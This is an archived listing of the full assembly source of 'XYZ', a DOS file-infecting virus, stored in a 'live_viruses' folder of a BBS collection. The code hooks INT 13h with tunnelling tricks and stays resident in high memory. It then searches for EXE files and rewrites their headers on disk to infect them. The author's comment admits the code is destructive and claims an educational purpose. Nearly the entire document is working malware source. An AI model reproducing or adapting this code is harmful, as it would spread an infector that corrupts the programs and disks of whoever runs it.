home *** CD-ROM | disk | FTP | other *** search
/ The Unsorted BBS Collection / thegreatunsorted.tar / thegreatunsorted / live_viruses / virus_collections / xyz.asm < prev    next >
Assembly Source File  |  1980-04-19  |  12KB  |  477 lines

  1. cseg        segment    para    public    'code'
  2. xyz        proc    near
  3. assume        cs:cseg
  4.  
  5. ;-----------------------------------------------------------------------------
  6.  
  7. ;designed by "Q" the misanthrope.
  8.  
  9. ;-----------------------------------------------------------------------------
  10.  
  11. ; CAUTION: THIS IS DESTRUCTIVE CODE.  YOU SHOULD NOT EVEN BE LOOKING AT IT.
  12. ;          I HAVE NEVER AND WILL NEVER RELEASE THIS CODE.  IF YOU SHOULD BE
  13. ;          LOOKING AT IT, IT IS BECAUSE IT WAS STOLEN FROM ME.  YOU HAVE NO
  14. ;          RIGHT TO LOOK AT THIS CODE.  IF THIS SOURCE SHOULD FALL INTO THE
  15. ;          WRONG HANDS, IT COULD BE VERY BAD!  DESTROY THIS IMMEDIATELY.  I
  16. ;          HOLD NO RESPONSIBILITY FOR WHAT STUPID PEOPLE DO WITH THIS CODE.
  17. ;          THIS WAS WRITTEN FOR EDUCATIONAL PURPOSES ONLY!!!
  18.  
  19. ;-----------------------------------------------------------------------------
  20.  
  21. .186
  22. TRUE        equ    001h
  23. FALSE        equ    000h
  24.  
  25. ;-----------------------------------------------------------------------------
  26.  
  27. ;option                     bytes used
  28.  
  29. WORK_W_GOLD_BUG    equ    TRUE    ; 10 bytes
  30. TUNNEL        equ    TRUE    ; 38 bytes
  31.  
  32. ;-----------------------------------------------------------------------------
  33.  
  34. ABORT        equ    002h
  35. ALLOCATE_HMA    equ    04a02h
  36. CLOSE_HANDLE    equ    03e00h
  37. COMMAND_LINE    equ    080h
  38. COM_OFFSET    equ    00100h
  39. CRITICAL_INT    equ    024h
  40. DENY_NONE    equ    040h
  41. DOS_INT        equ    021h
  42. DOS_SET_INT    equ    02500h
  43. EIGHTEEN_BYTES    equ    012h
  44. ENVIRONMENT    equ    02ch
  45. EXEC_PROGRAM    equ    04b00h
  46. EXE_SECTOR_SIZE    equ    004h
  47. EXE_SIGNATURE    equ    'ZM'
  48. FAIL        equ    003h
  49. FAR_INDEX_CALL    equ    01effh
  50. FAR_INDEX_JMP    equ    02effh
  51. FILE_ATTRIBUTES    equ    04300h
  52. FILE_DATE_TIME    equ    05700h
  53. FILENAME_OFFSET    equ    0001eh
  54. FIND_FIRST    equ    04e00h
  55. FIND_NEXT    equ    04f00h
  56. FIRST_FCB    equ    05ch
  57. FLUSH_BUFFERS    equ    00d00h
  58. FOUR_BYTES    equ    004h
  59. GET        equ    000h
  60. GET_DTA        equ    02f00h
  61. GET_ERROR_LEVEL    equ    04d00h
  62. GOLD_BUG_PTR    equ    0032ah
  63. HARD_DISK_ONE    equ    081h
  64. HIDDEN        equ    002h
  65. HIGH_BYTE    equ    00100h
  66. HMA_SEGMENT    equ    0ffffh
  67. INT_13_VECTOR    equ    0004ch
  68. KEEP_CF_INTACT    equ    002h
  69. MAX_SECTORS    equ    078h
  70. MULTIPLEX_INT    equ    02fh
  71. NEW_EXE_HEADER    equ    00040h
  72. NEW_EXE_OFFSET    equ    018h
  73. NULL        equ    00000h
  74. ONLY_READ    equ    000h
  75. ONLY_WRITE    equ    001h
  76. ONE_BYTE    equ    001h
  77. OPEN_W_HANDLE    equ    03d00h
  78. PARAMETER_TABLE    equ    001f1h
  79. READ_A_SECTOR    equ    00201h
  80. READ_ONLY    equ    001h
  81. READ_W_HANDLE    equ    03f00h
  82. REMOVE_NOP    equ    001h
  83. RESIZE_MEMORY    equ    04a00h
  84. RES_OFFSET    equ    0f900h
  85. SECOND_FCB    equ    06ch
  86. SECTOR_SIZE    equ    00200h
  87. SET        equ    001h
  88. SETVER_SIZE    equ    018h
  89. SHORT_JUMP    equ    0ebh
  90. SIX_BYTES    equ    006h
  91. SYSTEM        equ    004h
  92. TERMINATE_W_ERR    equ    04c00h
  93. THREE_BYTES    equ    003h
  94. TWENTY_HEX    equ    020h
  95. TWENTY_THREE    equ    017h
  96. TWO_BYTES    equ    002h
  97. UN_SINGLE_STEP    equ    not(00100h)
  98. VERIFY_3SECTORS    equ    00403h
  99. VOLUME_LABEL    equ    008h
  100. WRITE_A_SECTOR    equ    00301h
  101. WRITE_W_HANDLE    equ    04000h
  102. XOR_CODE    equ    (SHORT_JUMP XOR (low(EXE_SIGNATURE)))*00100h
  103. XYZ_CODE_IS_AT    equ    00148h
  104.  
  105. ;-----------------------------------------------------------------------------
  106.  
  107. bios_seg    segment    at 0f000h
  108.         org    00000h
  109. old_int_13_addr    label    word
  110. bios_seg    ends
  111.  
  112. ;-----------------------------------------------------------------------------
  113.  
  114.         org    COM_OFFSET
  115. com_code:
  116.  
  117. ;-----------------------------------------------------------------------------
  118.  
  119.         jmp    short alloc_memory
  120. DISPLACEMENT    equ    $
  121.  
  122. ;-----------------------------------------------------------------------------
  123.  
  124. dummy_exe_head    dw    SIX_BYTES,TWO_BYTES,NULL,TWENTY_HEX,ONE_BYTE,HMA_SEGMENT,NULL,NULL,NULL,NULL,NULL,TWENTY_HEX
  125.  
  126. ;-----------------------------------------------------------------------------
  127.  
  128.         org    XYZ_CODE_IS_AT
  129.  
  130. ;-----------------------------------------------------------------------------
  131.  
  132. ax_cx_di_si_cld    proc    near
  133.         mov    di,bx
  134.         add    di,XYZ_CODE_IS_AT-COM_OFFSET
  135. ax_cx_si_cld:    call    set_si
  136. set_si:        pop    si
  137.         sub    si,word    ptr (offset set_si)-word ptr (offset ax_cx_di_si_cld)
  138.         mov    cx,COM_OFFSET+SECTOR_SIZE-XYZ_CODE_IS_AT
  139.         mov    ax,XOR_CODE
  140.         cld
  141.         ret
  142. ax_cx_di_si_cld    endp
  143.  
  144. ;-----------------------------------------------------------------------------
  145.  
  146.         org    high(EXE_SIGNATURE)+TWO_BYTES+COM_OFFSET
  147.  
  148. ALLOC_STARTS    equ    $
  149.  
  150. ;-----------------------------------------------------------------------------
  151.  
  152. alloc_memory    proc    near
  153.         mov    ah,high(FLUSH_BUFFERS)
  154.         int    DOS_INT
  155.         xor    di,di
  156.         mov    ds,di
  157.         mov    bh,high(SECTOR_SIZE)
  158.         dec    di
  159.         mov    ax,ALLOCATE_HMA
  160.         int    MULTIPLEX_INT
  161.         mov    bx,SIX_BYTES
  162.         inc    di
  163.         IF    WORK_W_GOLD_BUG
  164.         jnz    use_ffff_di
  165.         cmp    word ptr ds:[GOLD_BUG_PTR],HMA_SEGMENT
  166.         jne    find_name
  167.         mov    di,RES_OFFSET
  168.         ELSE
  169.         jz    find_name
  170.         ENDIF
  171. use_ffff_di:    IFE    TUNNEL
  172.         mov    dx,offset int_13_entry-XYZ_CODE_IS_AT
  173.         add    dx,di
  174.         ENDIF
  175.         call    ax_cx_si_cld
  176.         rep    movs byte ptr es:[di],cs:[si]
  177. alloc_memory    endp
  178.  
  179. ;-----------------------------------------------------------------------------
  180.  
  181. set_int_13    proc    near
  182.         IF    TUNNEL
  183.         mov    ax,offset interrupt_one
  184.         xchg    word ptr ds:[bx-TWO_BYTES],ax
  185.         push    ax
  186.         push    word ptr ds:[bx]
  187.         mov    word ptr ds:[bx],cs
  188.         xchg    cx,di
  189.         mov    dl,HARD_DISK_ONE
  190.                 pushf
  191.         pushf
  192.         pushf
  193.                 mov    bp,sp
  194.         mov    ax,VERIFY_3SECTORS
  195.                 or    byte ptr ss:[bp+ONE_BYTE],al
  196.         popf
  197.         dw    FAR_INDEX_CALL,INT_13_VECTOR
  198.                 popf
  199.         pop    word ptr ds:[bx]
  200.         pop    word ptr ds:[bx-TWO_BYTES]
  201.                 ELSE
  202.         mov    cx,TWENTY_HEX
  203.         push    ds
  204.         mov    si,INT_13_VECTOR
  205.         push    si
  206.         lds    si,dword ptr ds:[si]
  207. try_next_two:    dec    si
  208.         lodsw
  209.         cmp    ax,FAR_INDEX_JMP
  210.         je    found_index
  211.         cmp    ax,FAR_INDEX_CALL
  212.         loopne    try_next_two
  213.         jne    dont_do_int_13
  214. found_index:    mov    si,word    ptr ds:[si]
  215.         jmp    short get_into_chain
  216. dont_do_int_13:    pop    si
  217.         pop    ds
  218. get_into_chain:    movsw
  219.         movsw
  220.         mov    word ptr ds:[si-FOUR_BYTES],dx
  221.         mov    word ptr ds:[si-TWO_BYTES],es
  222.                 ENDIF
  223. set_int_13    endp
  224.  
  225. ;-----------------------------------------------------------------------------
  226.  
  227. find_name    proc    near
  228.         mov    ds,word ptr cs:[bx+ENVIRONMENT-SIX_BYTES]
  229. look_for_nulls:    inc    bx
  230.         IF    TUNNEL
  231.         cmp    word ptr ds:[bx-FOUR_BYTES],di
  232.                 ELSE
  233.         cmp    word ptr ds:[bx-FOUR_BYTES],NULL
  234.                 ENDIF
  235.         jne    look_for_nulls
  236. find_name    endp
  237.  
  238. ;-----------------------------------------------------------------------------
  239.  
  240. open_file    proc    near
  241.         push    ds
  242.         push    bx
  243.                 mov    ch,THREE_BYTES
  244.         call    open_n_read_exe
  245.         push    cs
  246.         pop    es
  247.         mov    bx,dx
  248.         call    convert_back
  249.         pop    dx
  250.         pop    ds
  251.         jne    now_run_it
  252.         push    ds
  253.         push    dx
  254.         mov    ah,high(GET+FILE_ATTRIBUTES)
  255.         int    DOS_INT
  256.         mov    ax,SET+FILE_ATTRIBUTES
  257.         push    cx
  258.         push    ax
  259.         xor    cx,cx
  260.         int    DOS_INT
  261.         mov    ax,OPEN_W_HANDLE+DENY_NONE+ONLY_WRITE
  262.         call    call_dos
  263.         mov    ax,GET+FILE_DATE_TIME
  264.         push    ax
  265.         int    DOS_INT
  266.         push    cx
  267.         push    dx
  268.         mov    ah,high(WRITE_W_HANDLE)
  269.         mov    dx,offset critical_error+COM_OFFSET
  270.         mov    cx,SECTOR_SIZE
  271.         int    DOS_INT
  272. erutangis    db    'ZYX'
  273.         inc    ax
  274.         call    reclose_it
  275. signature    db    'XYZ'
  276.         pop    ds
  277.         int    DOS_INT
  278. open_file    endp
  279.  
  280. ;-----------------------------------------------------------------------------
  281.  
  282. now_run_it    proc    near
  283.         mov    bx,offset exec_table
  284.         mov    ah,high(RESIZE_MEMORY)
  285.         int    DOS_INT
  286.         mov    si,offset critical_error+COM_OFFSET+PARAMETER_TABLE
  287.         xchg    bx,si
  288.         mov    di,bx
  289.         mov    ax,EXEC_PROGRAM
  290. set_table:    scasw
  291.         movs    byte ptr es:[di],cs:[si]
  292.         scasb
  293.         mov    word ptr cs:[di],cs
  294.         je    set_table
  295.         call    call_dos
  296.         mov    ax,FIND_FIRST
  297.         mov    dx,offset exe_file_mask
  298.         mov    cx,READ_ONLY+HIDDEN+SYSTEM+VOLUME_LABEL
  299. find_next_file:    call    call_dos
  300.         mov    ah,high(GET_DTA)
  301.         int    DOS_INT
  302.         add    bx,FILENAME_OFFSET
  303.         push    es
  304.         pop    ds
  305.         call    open_n_read_exe
  306.         mov    ah,high(FIND_NEXT)
  307.         loop    find_next_file
  308. done:        mov    ah,high(GET_ERROR_LEVEL)
  309.         int    DOS_INT
  310.         mov    ah,high(TERMINATE_W_ERR)
  311. now_run_it    endp
  312.  
  313. ;-----------------------------------------------------------------------------
  314.  
  315. call_dos    proc    near
  316.         int    DOS_INT
  317.         jc    done
  318.         mov    bx,ax
  319.         push    cs
  320.         pop    ds
  321.         ret
  322. call_dos    endp
  323.  
  324. ;-----------------------------------------------------------------------------
  325.  
  326. exec_table    db    COMMAND_LINE,FIRST_FCB,SECOND_FCB
  327.  
  328. ;-----------------------------------------------------------------------------
  329.  
  330. open_n_read_exe    proc    near
  331.         mov    dx,bx
  332.         mov    ax,OPEN_W_HANDLE+DENY_NONE+ONLY_READ
  333.         call    call_dos
  334.         mov    dx,offset critical_error
  335.         mov    ax,DOS_SET_INT+CRITICAL_INT
  336.         int    DOS_INT
  337.                 inc    dh
  338.         mov    ah,high(READ_W_HANDLE)
  339. reclose_it:    int    DOS_INT
  340.         mov    ah,high(CLOSE_HANDLE)
  341.         jmp    short call_dos
  342. open_n_read_exe    endp
  343.  
  344. ;-----------------------------------------------------------------------------
  345.  
  346. interrupt_one    proc    far
  347.         IF    TUNNEL
  348.         cmp    ax,VERIFY_3SECTORS
  349.         jne    interrupt_ret
  350.         push    ds
  351.         pusha
  352.         mov    bp,sp
  353.         lds    si,dword ptr ss:[bp+EIGHTEEN_BYTES]
  354.         cmp    word ptr ds:[si+ONE_BYTE],FAR_INDEX_CALL
  355.         jne    go_back
  356.         mov    si,word    ptr ds:[si+THREE_BYTES]
  357.         cmp    word ptr ds:[si+TWO_BYTES],HMA_SEGMENT
  358.         jne    go_back
  359.         cld
  360.         mov    di,cx
  361.         movsw
  362.         movsw
  363.         sub    di,word    ptr (offset far_ptr_addr)-word ptr (offset int_13_entry)
  364.         org    $-REMOVE_NOP
  365.         mov    word ptr ds:[si-FOUR_BYTES],di
  366.         and    byte ptr ss:[bp+TWENTY_THREE],high(UN_SINGLE_STEP)
  367. go_back:    popa
  368.         pop    ds
  369.                 ENDIF
  370. critical_error:    mov    al,FAIL
  371. interrupt_ret:    iret
  372. interrupt_one    endp
  373.  
  374. ;-----------------------------------------------------------------------------
  375.  
  376. exe_file_mask    db    '*.E*',NULL
  377.  
  378. ;-----------------------------------------------------------------------------
  379.  
  380. convert_back    proc    near
  381.         call    ax_cx_di_si_cld
  382.         repe    cmps byte ptr cs:[si],es:[di]
  383.         jne    not_xyz
  384.         xor    byte ptr ds:[bx],ah
  385.         call    ax_cx_di_si_cld
  386.         rep    stosb
  387. not_xyz:    ret
  388. convert_back    endp
  389.  
  390. ;-----------------------------------------------------------------------------
  391.  
  392. convert_to    proc    near
  393.         pusha
  394.         stc
  395.         pushf
  396.         cmp    word ptr ds:[bx],EXE_SIGNATURE
  397.         jne    not_exe_header
  398.         mov    ax,word ptr ds:[bx+EXE_SECTOR_SIZE]
  399.         cmp    ax,MAX_SECTORS
  400.         ja    not_exe_header
  401.         cmp    al,SETVER_SIZE
  402.         je    not_exe_header
  403.         cmp    word ptr ds:[bx+NEW_EXE_OFFSET],NEW_EXE_HEADER
  404.         jae    not_exe_header
  405.         call    ax_cx_di_si_cld
  406.         pusha
  407.         repe    scasb
  408.         popa
  409.         jne    not_exe_header
  410.         xor    byte ptr ds:[bx],ah
  411.         rep    movs byte ptr es:[di],cs:[si]
  412.         popf
  413.         clc
  414.         pushf
  415. not_exe_header:    popf
  416.         popa
  417.         ret
  418. convert_to    endp
  419.  
  420. ;-----------------------------------------------------------------------------
  421.  
  422. interrupt_13    proc    far
  423. int_13_entry:    cmp    ah,high(READ_A_SECTOR)
  424.         jb    jmp_old_int_13
  425.         cmp    ah,high(VERIFY_3SECTORS)
  426.         ja    jmp_old_int_13
  427.                 push    ds
  428.                 push    es
  429.                 pop    ds
  430.         call    convert_to
  431.         pushf
  432.         push    cs
  433.         call    call_old_int_13
  434.         pushf
  435.         call    convert_to
  436.         pusha
  437.         jc    do_convertback
  438.         mov    ax,WRITE_A_SECTOR
  439.                 pushf
  440.                 push    cs
  441.                 call    call_old_int_13
  442. do_convertback:    call    convert_back
  443.         popa
  444.         popf
  445.                 pop    ds
  446.         retf    KEEP_CF_INTACT
  447. interrupt_13    endp
  448.  
  449. ;-----------------------------------------------------------------------------
  450.  
  451.         org    COM_OFFSET+SECTOR_SIZE-TWO_BYTES
  452.  
  453. ;-----------------------------------------------------------------------------
  454.  
  455. call_old_int_13    proc    near
  456.         cli
  457. jmp_old_int_13:    jmp    far ptr    old_int_13_addr
  458. call_old_int_13    endp
  459.  
  460. ;-----------------------------------------------------------------------------
  461.  
  462.         org    COM_OFFSET+SECTOR_SIZE
  463.  
  464. ;-----------------------------------------------------------------------------
  465.  
  466. goto_dos    proc    near
  467.         mov    ax,TERMINATE_W_ERR
  468.         nop
  469. far_ptr_addr:    int    DOS_INT
  470. goto_dos    endp
  471.  
  472. ;-----------------------------------------------------------------------------
  473.  
  474. xyz        endp
  475. cseg        ends
  476. end        com_code
  477.